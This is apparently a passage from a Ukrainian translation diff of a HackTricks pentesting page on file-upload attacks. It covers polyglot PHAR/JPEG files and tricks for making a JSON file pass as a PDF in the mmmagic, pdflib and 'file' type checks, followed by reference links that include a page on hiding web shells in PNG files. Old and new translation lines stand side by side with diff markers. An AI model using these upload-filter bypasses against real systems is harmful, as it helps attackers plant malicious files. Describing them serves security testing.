Незважаючи на гнучкість, поліглоти мають обмеження. Наприклад, хоча поліглот може одночасно бути PHAR (PHp ARchive) та JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо перевіряє допустимі розширення, сама по собі структурна подвійність поліглота може бути недостатньою для гарантії завантаження.
Більше інформації в: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Завантаження дійсних JSON, як якщо б це був PDF
### Upload valid JSONs like if it was PDF
Як уникнути виявлення типу файлу, завантажуючи дійсний JSON файл, навіть якщо це не дозволено, підробляючи PDF файл (техніки з **[цього блогу](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Як уникнути визначення типу файлу, завантажуючи валідний JSON-файл, навіть якщо це не дозволено, прикидаючись PDF-файлом (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` бібліотека**: Якщо байти магії `%PDF` знаходяться в перших 1024 байтах, це дійсно (отримати приклад з посту)
- **`pdflib` бібліотека**: Додати підроблений формат PDF всередині поля JSON, щоб бібліотека думала, що це PDF (отримати приклад з посту)
- **`file` бінарний**: Він може читати до 1048576 байтів з файлу. Просто створіть JSON більший за це, щоб він не міг розібрати вміст як JSON, а потім всередині JSON вставте початкову частину справжнього PDF, і він подумає, що це PDF
- **`mmmagic` library**: Поки `%PDF` magic bytes знаходяться в перших 1024 байтах, воно вважається валідним (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF-вміст всередину поля JSON, щоб бібліотека вважала його PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за це, щоб програма не могла розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме файл PDF
## Посилання
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +328,6 @@ pop graphic-context
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}